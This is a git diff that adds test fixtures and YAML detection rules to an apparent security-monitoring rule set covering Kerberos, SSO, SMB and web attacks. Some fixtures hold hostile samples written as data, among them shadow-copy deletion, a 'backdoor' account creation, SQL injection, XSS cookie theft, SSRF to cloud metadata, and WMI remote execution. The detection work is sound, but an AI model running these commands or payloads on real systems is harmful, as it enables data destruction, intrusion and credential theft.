a/detections/fixtures/positive/rmm-tool-install.json b/detections/fixtures/positive/rmm-tool-install.jsonnew file mode 100644index 000000000..b9b2826a8--- /dev/null+++ b/detections/fixtures/positive/rmm-tool-install.json@@ -0,0 +1,5 @@+{+ "host": "wks-001",+ "image_basename": "AnyDesk.exe",+ "image_basename_in_allowlist": false+}diff --git a/detections/fixtures/positive/root-ssh-login.json b/detections/fixtures/positive/root-ssh-login.jsonnew file mode 100644index 000000000..a265554f2--- /dev/null+++ b/detections/fixtures/positive/root-ssh-login.json@@ -0,0 +1,6 @@+{+ "event_type": "ssh-accept",+ "host": "db-prod-01",+ "host_role": "production",+ "user": "root"+}diff --git a/detections/fixtures/positive/saas-app-installed.json b/detections/fixtures/positive/saas-app-installed.jsonnew file mode 100644index 000000000..8e51fa33c--- /dev/null+++ b/detections/fixtures/positive/saas-app-installed.json@@ -0,0 +1,8 @@+{+ "actor": "[email protected]",+ "app": "thirdparty-importer",+ "event_type": "marketplace.app.installed",+ "scope_set": [+ "drive.full"+ ]+}diff --git a/detections/fixtures/positive/saas-mass-share-public.json b/detections/fixtures/positive/saas-mass-share-public.jsonnew file mode 100644index 000000000..c46533c0f--- /dev/null+++ b/detections/fixtures/positive/saas-mass-share-public.json@@ -0,0 +1,7 @@+{+ "event_type": "drive.acl.change",+ "file_count_per_user": 100,+ "share_visibility": "public",+ "time_window_minutes": 12,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/salesforce-bulk-export.json b/detections/fixtures/positive/salesforce-bulk-export.jsonnew file mode 100644index 000000000..f02966872--- /dev/null+++ b/detections/fixtures/positive/salesforce-bulk-export.json@@ -0,0 +1,6 @@+{+ "actor": "[email protected]",+ "actor_in_export_allowlist": false,+ "event_type": "DataExport",+ "row_count": 500000+}diff --git a/detections/fixtures/positive/saml-response-anomaly.json b/detections/fixtures/positive/saml-response-anomaly.jsonnew file mode 100644index 000000000..13d66e66f--- /dev/null+++ b/detections/fixtures/positive/saml-response-anomaly.json@@ -0,0 +1,6 @@+{+ "event_type": "user.authentication.sso",+ "issuer_valid": false,+ "notbefore_in_future": false,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/scheduled-task-create-suspicious.json b/detections/fixtures/positive/scheduled-task-create-suspicious.jsonnew file mode 100644index 000000000..893089555--- /dev/null+++ b/detections/fixtures/positive/scheduled-task-create-suspicious.json@@ -0,0 +1,5 @@+{+ "event_type": "ScheduledTaskCreate",+ "host": "wks-001",+ "task_command_path": "C:\\Users\\Public\\beacon.exe"+}diff --git a/detections/fixtures/positive/screen-capture-tool.json b/detections/fixtures/positive/screen-capture-tool.jsonnew file mode 100644index 000000000..070f5eb8b--- /dev/null+++ b/detections/fixtures/positive/screen-capture-tool.json@@ -0,0 +1,5 @@+{+ "host": "finance-01",+ "host_role": "sensitive",+ "image_basename": "obs64.exe"+}diff --git a/detections/fixtures/positive/secrets-mass-fetch.json b/detections/fixtures/positive/secrets-mass-fetch.jsonnew file mode 100644index 000000000..344bc7b75--- /dev/null+++ b/detections/fixtures/positive/secrets-mass-fetch.json@@ -0,0 +1,7 @@+{+ "event_type": "GetSecretValue",+ "principal": "[email protected]",+ "principal_type": "human",+ "secret_count_per_principal": 80,+ "time_window_minutes": 4+}diff --git a/detections/fixtures/positive/self-password-reset-admin.json b/detections/fixtures/positive/self-password-reset-admin.jsonnew file mode 100644index 000000000..39f2b588c--- /dev/null+++ b/detections/fixtures/positive/self-password-reset-admin.json@@ -0,0 +1,6 @@+{+ "event_type": "user.account.reset_password",+ "reset_method": "self-service",+ "user": "[email protected]",+ "user_role": "admin"+}diff --git a/detections/fixtures/positive/service-account-interactive-login.json b/detections/fixtures/positive/service-account-interactive-login.jsonnew file mode 100644index 000000000..4d00aa96e--- /dev/null+++ b/detections/fixtures/positive/service-account-interactive-login.json@@ -0,0 +1,6 @@+{+ "event_type": "user.session.start",+ "session_type": "interactive",+ "user": "deploy-bot",+ "user_type": "service_account"+}diff --git a/detections/fixtures/positive/service-install-binary-suspicious.json b/detections/fixtures/positive/service-install-binary-suspicious.jsonnew file mode 100644index 000000000..cb9f16974--- /dev/null+++ b/detections/fixtures/positive/service-install-binary-suspicious.json@@ -0,0 +1,5 @@+{+ "event_id": 7045,+ "host": "wks-001",+ "service_path": "C:\\Users\\Public\\beacon.exe"+}diff --git a/detections/fixtures/positive/shadow-copy-deletion.json b/detections/fixtures/positive/shadow-copy-deletion.jsonnew file mode 100644index 000000000..e81710382--- /dev/null+++ b/detections/fixtures/positive/shadow-copy-deletion.json@@ -0,0 +1,5 @@+{+ "command_line": "vssadmin.exe delete shadows /all /quiet",+ "host": "wks-001",+ "image_basename": "vssadmin.exe"+}diff --git a/detections/fixtures/positive/shared-account-login-spike.json b/detections/fixtures/positive/shared-account-login-spike.jsonnew file mode 100644index 000000000..7dee62757--- /dev/null+++ b/detections/fixtures/positive/shared-account-login-spike.json@@ -0,0 +1,6 @@+{+ "distinct_ip_count_per_user": 12,+ "event_type": "user.session.start",+ "time_window_minutes": 6,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/shell-from-web-server.json b/detections/fixtures/positive/shell-from-web-server.jsonnew file mode 100644index 000000000..0ed7ae742--- /dev/null+++ b/detections/fixtures/positive/shell-from-web-server.json@@ -0,0 +1,5 @@+{+ "host": "web-01",+ "image_basename": "bash",+ "parent_image_basename": "php-fpm"+}diff --git a/detections/fixtures/positive/silver-ticket.json b/detections/fixtures/positive/silver-ticket.jsonnew file mode 100644index 000000000..c45715e9b--- /dev/null+++ b/detections/fixtures/positive/silver-ticket.json@@ -0,0 +1,6 @@+{+ "event_id": 4624,+ "logon_type": 3,+ "tgs_event_seen": false,+ "user": "service-account"+}diff --git a/detections/fixtures/positive/slack-token-exposed.json b/detections/fixtures/positive/slack-token-exposed.jsonnew file mode 100644index 000000000..c238b373d--- /dev/null+++ b/detections/fixtures/positive/slack-token-exposed.json@@ -0,0 +1,6 @@+{+ "channel": "#general",+ "channel_visibility": "public",+ "event_type": "message.posted",+ "message_text": "deploy creds: xoxb-1234-abcd-EXAMPLE"+}diff --git a/detections/fixtures/positive/smb-lateral-movement.json b/detections/fixtures/positive/smb-lateral-movement.jsonnew file mode 100644index 000000000..86fd36020--- /dev/null+++ b/detections/fixtures/positive/smb-lateral-movement.json@@ -0,0 +1,7 @@+{+ "distinct_dst_per_src": 12,+ "event_id": 5145,+ "share_name": "ADMIN$",+ "src": "[email protected]",+ "time_window_minutes": 6+}diff --git a/detections/fixtures/positive/smb-null-session.json b/detections/fixtures/positive/smb-null-session.jsonnew file mode 100644index 000000000..fab863c45--- /dev/null+++ b/detections/fixtures/positive/smb-null-session.json@@ -0,0 +1,7 @@+{+ "auth_package": "NTLM",+ "event_id": 4624,+ "logon_type": 3,+ "src_ip": "203.0.113.7",+ "user": "ANONYMOUS LOGON"+}diff --git a/detections/fixtures/positive/smb-signing-disabled-auth.json b/detections/fixtures/positive/smb-signing-disabled-auth.jsonnew file mode 100644index 000000000..11e17ee6e--- /dev/null+++ b/detections/fixtures/positive/smb-signing-disabled-auth.json@@ -0,0 +1,6 @@+{+ "dst_ip": "10.0.5.10",+ "event_id": 5158,+ "smb_signing_enabled": false,+ "src_ip": "10.0.5.7"+}diff --git a/detections/fixtures/positive/snmp-public-community-internet.json b/detections/fixtures/positive/snmp-public-community-internet.jsonnew file mode 100644index 000000000..e19612827--- /dev/null+++ b/detections/fixtures/positive/snmp-public-community-internet.json@@ -0,0 +1,7 @@+{+ "dst_port": 161,+ "protocol": "UDP",+ "snmp_community": "public",+ "src_ip": "203.0.113.7",+ "src_ip_class": "internet"+}diff --git a/detections/fixtures/positive/snowflake-mass-export.json b/detections/fixtures/positive/snowflake-mass-export.jsonnew file mode 100644index 000000000..be96be553--- /dev/null+++ b/detections/fixtures/positive/snowflake-mass-export.json@@ -0,0 +1,7 @@+{+ "event_type": "QUERY",+ "query": "SELECT * FROM CUSTOMER",+ "rows_produced": 5000000,+ "user": "[email protected]",+ "user_type": "human"+}diff --git a/detections/fixtures/positive/sql-injection-attempt.json b/detections/fixtures/positive/sql-injection-attempt.jsonnew file mode 100644index 000000000..bd662c58d--- /dev/null+++ b/detections/fixtures/positive/sql-injection-attempt.json@@ -0,0 +1,4 @@+{+ "host": "store.corp.com",+ "request_uri": "/products?id=1' UNION SELECT username,password FROM users--"+}diff --git a/detections/fixtures/positive/ssh-failed-from-internet.json b/detections/fixtures/positive/ssh-failed-from-internet.jsonnew file mode 100644index 000000000..9cca8f07e--- /dev/null+++ b/detections/fixtures/positive/ssh-failed-from-internet.json@@ -0,0 +1,8 @@+{+ "event_type": "ssh-reject",+ "fail_count": 200,+ "outcome": "FAILURE",+ "src_ip": "203.0.113.7",+ "src_ip_class": "internet",+ "time_window_minutes": 5+}diff --git a/detections/fixtures/positive/ssh-key-added-authorized.json b/detections/fixtures/positive/ssh-key-added-authorized.jsonnew file mode 100644index 000000000..7a19722c8--- /dev/null+++ b/detections/fixtures/positive/ssh-key-added-authorized.json@@ -0,0 +1,6 @@+{+ "actor": "user",+ "event_type": "PATH",+ "file_path": "/home/user/.ssh/authorized_keys",+ "host": "linux-01"+}diff --git a/detections/fixtures/positive/ssrf-attempt.json b/detections/fixtures/positive/ssrf-attempt.jsonnew file mode 100644index 000000000..cb130864d--- /dev/null+++ b/detections/fixtures/positive/ssrf-attempt.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_uri": "/proxy?url=http://169.254.169.254/latest/meta-data/"+}diff --git a/detections/fixtures/positive/sudo-no-mfa.json b/detections/fixtures/positive/sudo-no-mfa.jsonnew file mode 100644index 000000000..b377dd174--- /dev/null+++ b/detections/fixtures/positive/sudo-no-mfa.json@@ -0,0 +1,6 @@+{+ "event_type": "sudo-use",+ "host": "db-prod-01",+ "mfa_verified": false,+ "user": "user"+}diff --git a/detections/fixtures/positive/suid-binary-creation.json b/detections/fixtures/positive/suid-binary-creation.jsonnew file mode 100644index 000000000..56972a6d9--- /dev/null+++ b/detections/fixtures/positive/suid-binary-creation.json@@ -0,0 +1,8 @@+{+ "event_type": "PATH",+ "host": "linux-01",+ "path": "/tmp/.helper",+ "permissions": [+ "S_ISUID"+ ]+}diff --git a/detections/fixtures/positive/tls-ja3-anomaly.json b/detections/fixtures/positive/tls-ja3-anomaly.jsonnew file mode 100644index 000000000..a1e78eec3--- /dev/null+++ b/detections/fixtures/positive/tls-ja3-anomaly.json@@ -0,0 +1,5 @@+{+ "ja3_hash": "abc123badjA3",+ "ja3_hash_in_threat_intel": true,+ "src_host": "wks-001"+}diff --git a/detections/fixtures/positive/tls-self-signed-cert-conn.json b/detections/fixtures/positive/tls-self-signed-cert-conn.jsonnew file mode 100644index 000000000..37fda8bc7--- /dev/null+++ b/detections/fixtures/positive/tls-self-signed-cert-conn.json@@ -0,0 +1,6 @@+{+ "dst_in_allowlist": false,+ "dst_ip": "203.0.113.7",+ "src_host": "wks-001",+ "tls_cert_self_signed": true+}diff --git a/detections/fixtures/positive/token-reuse-new-device.json b/detections/fixtures/positive/token-reuse-new-device.jsonnew file mode 100644index 000000000..bbd0ba095--- /dev/null+++ b/detections/fixtures/positive/token-reuse-new-device.json@@ -0,0 +1,6 @@+{+ "device_fingerprint_seen_before": false,+ "event_type": "user.session.access_token",+ "session_age_hours": 24,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/tor-traffic.json b/detections/fixtures/positive/tor-traffic.jsonnew file mode 100644index 000000000..3031b67cc--- /dev/null+++ b/detections/fixtures/positive/tor-traffic.json@@ -0,0 +1,5 @@+{+ "dst_ip": "185.220.101.5",+ "dst_ip_in_tor_list": true,+ "src_host": "wks-001"+}diff --git a/detections/fixtures/positive/usb-device-mass-storage-attached.json b/detections/fixtures/positive/usb-device-mass-storage-attached.jsonnew file mode 100644index 000000000..d6c567889--- /dev/null+++ b/detections/fixtures/positive/usb-device-mass-storage-attached.json@@ -0,0 +1,6 @@+{+ "device_class": "USB-MassStorage",+ "event_type": "DeviceConnect",+ "host": "finance-01",+ "host_role": "restricted"+}diff --git a/detections/fixtures/positive/user-add-suspicious.json b/detections/fixtures/positive/user-add-suspicious.jsonnew file mode 100644index 000000000..e2ff22375--- /dev/null+++ b/detections/fixtures/positive/user-add-suspicious.json@@ -0,0 +1,5 @@+{+ "command_line": "useradd -m -s /bin/bash backdoor",+ "event_type": "USER_ADD",+ "host": "linux-01"+}diff --git a/detections/fixtures/positive/user-agent-known-tool.json b/detections/fixtures/positive/user-agent-known-tool.jsonnew file mode 100644index 000000000..f454c9409--- /dev/null+++ b/detections/fixtures/positive/user-agent-known-tool.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "user_agent": "sqlmap/1.6.2"+}diff --git a/detections/fixtures/positive/vpn-large-download-foreign.json b/detections/fixtures/positive/vpn-large-download-foreign.jsonnew file mode 100644index 000000000..d08e416e3--- /dev/null+++ b/detections/fixtures/positive/vpn-large-download-foreign.json@@ -0,0 +1,6 @@+{+ "bytes_in": 800000000,+ "src_country": "RU",+ "src_country_in_allowlist": false,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/webshell-upload.json b/detections/fixtures/positive/webshell-upload.jsonnew file mode 100644index 000000000..8ce0680b0--- /dev/null+++ b/detections/fixtures/positive/webshell-upload.json@@ -0,0 +1,6 @@+{+ "file_extension": ".php",+ "host": "blog.corp.com",+ "method": "POST",+ "request_uri": "/wp-content/uploads/cmd.php"+}diff --git a/detections/fixtures/positive/windows-event-log-cleared.json b/detections/fixtures/positive/windows-event-log-cleared.jsonnew file mode 100644index 000000000..298daa4bd--- /dev/null+++ b/detections/fixtures/positive/windows-event-log-cleared.json@@ -0,0 +1,5 @@+{+ "event_id": 1102,+ "host": "wks-001",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/wmi-process-creation.json b/detections/fixtures/positive/wmi-process-creation.jsonnew file mode 100644index 000000000..8dce1a4c9--- /dev/null+++ b/detections/fixtures/positive/wmi-process-creation.json@@ -0,0 +1,6 @@+{+ "host": "wks-001",+ "image_basename": "powershell.exe",+ "image_basename_in_allowlist": false,+ "parent_image_basename": "wmiprvse.exe"+}diff --git a/detections/fixtures/positive/wmi-remote-execution.json b/detections/fixtures/positive/wmi-remote-execution.jsonnew file mode 100644index 000000000..74a3a651a--- /dev/null+++ b/detections/fixtures/positive/wmi-remote-execution.json@@ -0,0 +1,6 @@+{+ "event_id": 4688,+ "process_command_line": "wmic /node:srv01 process call create cmd.exe",+ "src_host": "wks-001",+ "src_role": "workstation"+}diff --git a/detections/fixtures/positive/xss-attempt.json b/detections/fixtures/positive/xss-attempt.jsonnew file mode 100644index 000000000..69e1adf98--- /dev/null+++ b/detections/fixtures/positive/xss-attempt.json@@ -0,0 +1,4 @@+{+ "host": "store.corp.com",+ "request_uri": "/search?q=<script>alert(document.cookie)</script>"+}diff --git a/detections/identity/account-creation-by-non-admin.yaml b/detections/identity/account-creation-by-non-admin.yamlnew file mode 100644index 000000000..9bd7c5ad9--- /dev/null+++ b/detections/identity/account-creation-by-non-admin.yaml@@ -0,0 +1,24 @@+id: det-identity-026+name: User Account Creation by Non-Admin Principal+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'User Account Creation+ by Non-Admin Principal'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1136.001+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.lifecycle.create"+ AND actor_role NOT IN ["admin", "user_admin"]+false_positives:+- Self-service guest invite (must require sponsor)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/account-enable-after-disable.yaml b/detections/identity/account-enable-after-disable.yamlnew file mode 100644index 000000000..97cc30161--- /dev/null+++ b/detections/identity/account-enable-after-disable.yaml@@ -0,0 +1,24 @@+id: det-identity-028+name: Disabled Account Re-enabled+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Disabled Account+ Re-enabled'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1098+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.lifecycle.activate"+ AND previous_state == "DISABLED"+false_positives:+- Re-hire (must reference HR ticket)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/ad-replication-non-dc.yaml b/detections/identity/ad-replication-non-dc.yamlnew file mode 100644index 000000000..0a06f39b3--- /dev/null+++ b/detections/identity/ad-replication-non-dc.yaml@@ -0,0 +1,25 @@+id: det-identity-031+name: Active Directory Replication Request from Non-Domain-Controller+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Active Directory+ Replication Request from Non-Domain-Controller'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1003.006+- tlp.white+category: identity+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 4662+ AND operation_type CONTAINS "DS-Replication-Get-Changes"+ AND source_role NOT IN ["domain_controller"]+false_positives:+- Approved replication agents (azure ad connect; explicit allowlist)+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/admin-account-deletion.yaml b/detections/identity/admin-account-deletion.yamlnew file mode 100644index 000000000..b66d05bfb--- /dev/null+++ b/detections/identity/admin-account-deletion.yaml@@ -0,0 +1,24 @@+id: det-identity-027+name: Privileged Account Deleted+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Privileged Account+ Deleted'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1531+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.lifecycle.deactivate"+ AND target_user_role IN ["admin", "owner"]+false_positives:+- Offboarding (must reference HR ticket)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/app-token-broad-default.yaml b/detections/identity/app-token-broad-default.yamlnew file mode 100644index 000000000..92319db6c--- /dev/null+++ b/detections/identity/app-token-broad-default.yaml@@ -0,0 +1,24 @@+id: det-identity-024+name: GitHub App Installed with Repo Admin Permission+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'GitHub App Installed+ with Repo Admin Permission'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1098.001+- tlp.white+category: identity+log_source:+ product: github+ service: audit+detection:+ condition: |+ action == "integration_installation.create"+ AND permission_administration == "write"+false_positives:+- GitHub Apps from approved-publisher list+playbook: tpl-supply-chain+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/asreproasting.yaml b/detections/identity/asreproasting.yamlnew file mode 100644index 000000000..751c92a82--- /dev/null+++ b/detections/identity/asreproasting.yaml@@ -0,0 +1,24 @@+id: det-identity-033+name: AS-REP Roasting (Account with Pre-Auth Disabled)+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'AS-REP Roasting+ (Account with Pre-Auth Disabled)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1558.004+- tlp.white+category: identity+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 4768+ AND preauth_required == false+false_positives:+- Legacy unix/krb5-style accounts with explicit allowlist+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/brute-force-login.yaml b/detections/identity/brute-force-login.yamlindex a099e39e3..172964172 100644--- a/detections/identity/brute-force-login.yaml+++ b/detections/identity/brute-force-login.yaml@@ -1,16 +1,13 @@-id: det-id-001-name: Brute Force - Multiple Failed Authentication Attempts-description: >- Detects brute-force or password-spray attacks by identifying a single source- IP (or user agent) generating more than 10 failed authentication attempts- within a 5-minute window against one or more accounts.-version: "1.0.0"+id: det-identity-001+name: Authentication Brute-Force Burst+description: Detects high-frequency failed authentication attempts against a single account, which is+ a classic indicator of credential-stuffing or password-spraying attempts. Threshold is intentionally+ conservative to reduce noise.+version: 1.0.0severity: hightags:- - mitre.attack.t1110- - mitre.attack.t1110.001- - mitre.attack.t1110.003- - tlp.white+- mitre.attack.t1110.001+- tlp.whitecategory: identitylog_source:product: okta@@ -19,15 +16,12 @@ detection:condition: |event_type == "user.session.start"AND outcome == "FAILURE"- AND failed_count_per_src_ip_per_5min >= 10- filters:- - src_ip: "10.0.0.0/8"+ AND fail_count > 20+ AND time_window_minutes < 10false_positives:- - Misconfigured service accounts with stale passwords- - Password manager autofill issues- - Load balancer health checks with invalid credentials-playbook: tpl-brute-force-lockout+- Misconfigured client looping forever (rare; tag known cases)+playbook: tpl-account-compromiseenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/ca-policy-scope-broadened.yaml b/detections/identity/ca-policy-scope-broadened.yamlnew file mode 100644index 000000000..d09ebe56a--- /dev/null+++ b/detections/identity/ca-policy-scope-broadened.yaml@@ -0,0 +1,24 @@+id: det-identity-039+name: Conditional Access Policy Scope Broadened (Less Restrictive)+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Conditional Access+ Policy Scope Broadened (Less Restrictive)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1562.001+- tlp.white+category: identity+log_source:+ product: azure+ service: azuread-audit+detection:+ condition: |+ operation_name == "Update conditional access policy"+ AND policy_change IN ["scope-expanded", "exclusion-added"]+false_positives:+- Onboarding new application to existing policy (ticketed)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/default-credential-login.yaml b/detections/identity/default-credential-login.yamlnew file mode 100644index 000000000..21edabe67--- /dev/null+++ b/detections/identity/default-credential-login.yaml@@ -0,0 +1,25 @@+id: det-identity-013+name: Login with Vendor Default Credentials+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Login with Vendor+ Default Credentials'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078.001+- tlp.white+category: identity+log_source:+ product: linux+ service: auth+detection:+ condition: |+ event_type == "ssh-accept"+ AND user_in_default_list == true+ AND outcome == "SUCCESS"+false_positives:+- Lab/sandbox hosts (must not be production-tagged)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/disabled-account-login-attempt.yaml b/detections/identity/disabled-account-login-attempt.yamlnew file mode 100644index 000000000..cdad4a2e3--- /dev/null+++ b/detections/identity/disabled-account-login-attempt.yaml@@ -0,0 +1,24 @@+id: det-identity-007+name: Authentication Attempt Against Disabled Account+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Authentication+ Attempt Against Disabled Account'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1078+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.start"+ AND user_state IN ["DISABLED", "DEPROVISIONED"]+false_positives:+- Lingering background jobs after offboarding (rare; transient)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/domain-password-policy-weakened.yaml b/detections/identity/domain-password-policy-weakened.yamlnew file mode 100644index 000000000..d6fca5d9f--- /dev/null+++ b/detections/identity/domain-password-policy-weakened.yaml@@ -0,0 +1,24 @@+id: det-identity-022+name: Domain Password Policy Weakened+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Domain Password+ Policy Weakened'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1556+- tlp.white+category: identity+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id IN [4739, 4738]+ AND policy_change IN ["min-length-decreased", "complexity-disabled", "lockout-disabled"]+false_positives:+- Approved policy refactor (ticketed, paired with rotation)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/expired-credential-reuse.yaml b/detections/identity/expired-credential-reuse.yamlnew file mode 100644index 000000000..7c6e22441--- /dev/null+++ b/detections/identity/expired-credential-reuse.yaml@@ -0,0 +1,24 @@+id: det-identity-010+name: Authentication with Expired Credential+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Authentication+ with Expired Credential'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1110+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type == "user.session.start"+ AND credential_state == "EXPIRED"+false_positives:+- Cached credentials in legacy automation (rotation grace period)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/federated-trust-modified.yaml b/detections/identity/federated-trust-modified.yamlnew file mode 100644index 000000000..48369878c--- /dev/null+++ b/detections/identity/federated-trust-modified.yaml@@ -0,0 +1,23 @@+id: det-identity-037+name: Federation Trust Relationship Modified+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Federation Trust+ Relationship Modified'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1556.007+- tlp.white+category: identity+log_source:+ product: azure+ service: azuread-audit+detection:+ condition: |+ operation_name IN ["Set domain authentication", "Set federation settings on domain"]+false_positives:+- Approved federation cutover (must reference change ticket)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/federation-cross-tenant-access.yaml b/detections/identity/federation-cross-tenant-access.yamlnew file mode 100644index 000000000..0778ed899--- /dev/null+++ b/detections/identity/federation-cross-tenant-access.yaml@@ -0,0 +1,23 @@+id: det-identity-040+name: Cross-Tenant Identity Access Granted+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Cross-Tenant Identity+ Access Granted'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1199+- tlp.white+category: identity+log_source:+ product: azure+ service: azuread-audit+detection:+ condition: |+ operation_name == "Add cross-tenant access policy"+false_positives:+- Approved B2B partnership (allowlisted partner-tenant)+playbook: tpl-cloud-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/golden-ticket.yaml b/detections/identity/golden-ticket.yamlnew file mode 100644index 000000000..f8bc3f085--- /dev/null+++ b/detections/identity/golden-ticket.yaml@@ -0,0 +1,25 @@+id: det-identity-034+name: Golden Ticket Indicator (Anomalous TGT Lifetime)+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Golden Ticket Indicator+ (Anomalous TGT Lifetime)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1558.001+- tlp.white+category: identity+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 4624+ AND logon_type == 3+ AND ticket_lifetime_hours > 24+false_positives:+- Forest-trust kerberos tickets (rare; allowlist trust)+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/group-policy-modification.yaml b/detections/identity/group-policy-modification.yamlnew file mode 100644index 000000000..3824e4623--- /dev/null+++ b/detections/identity/group-policy-modification.yaml@@ -0,0 +1,23 @@+id: det-identity-019+name: Active Directory Group Policy Modified+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Active Directory+ Group Policy Modified'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1484.001+- tlp.white+category: identity+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id IN [5136, 5137, 5138, 5139]+false_positives:+- Change-management approved GPO updates (ticket reference required)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/iam-policy-detach-defense.yaml b/detections/identity/iam-policy-detach-defense.yamlnew file mode 100644index 000000000..73a3e4fe3--- /dev/null+++ b/detections/identity/iam-policy-detach-defense.yaml@@ -0,0 +1,24 @@+id: det-identity-021+name: Defensive IAM Policy Detached+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'Defensive IAM Policy+ Detached'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1562.008+- tlp.white+category: identity+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name IN ["DetachUserPolicy", "DetachRolePolicy"]+ AND policy_name CONTAINS_ANY ["DefaultDeny", "GuardrailDeny", "OrgDeny"]+false_positives:+- Policy migration during Org SCP refactor (ticket required)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/identity/idp-metadata-changed.yaml b/detections/identity/idp-metadata-changed.yamlnew file mode 100644index 000000000..382ecf3c1--- /dev/null+++ b/detections/identity/idp-metadata-changed.yaml@@ -0,0 +1,23 @@+id: det-identity-038+name: IDP Metadata or Signing Cert Changed+description: AiSOC v1 curated detection. Triggers on the identity signal described by 'IDP Metadata or+ Signing Cert Changed'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1556+- tlp.white+category: identity+log_source:+ product: okta+ service: system-log+detection:+ condition: |+ event_type IN ["app.idp.update_signing_certificate", "app.idp.update_metadata"]+false_positives:+- Cert rotation (must be paired with rotation calendar)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git 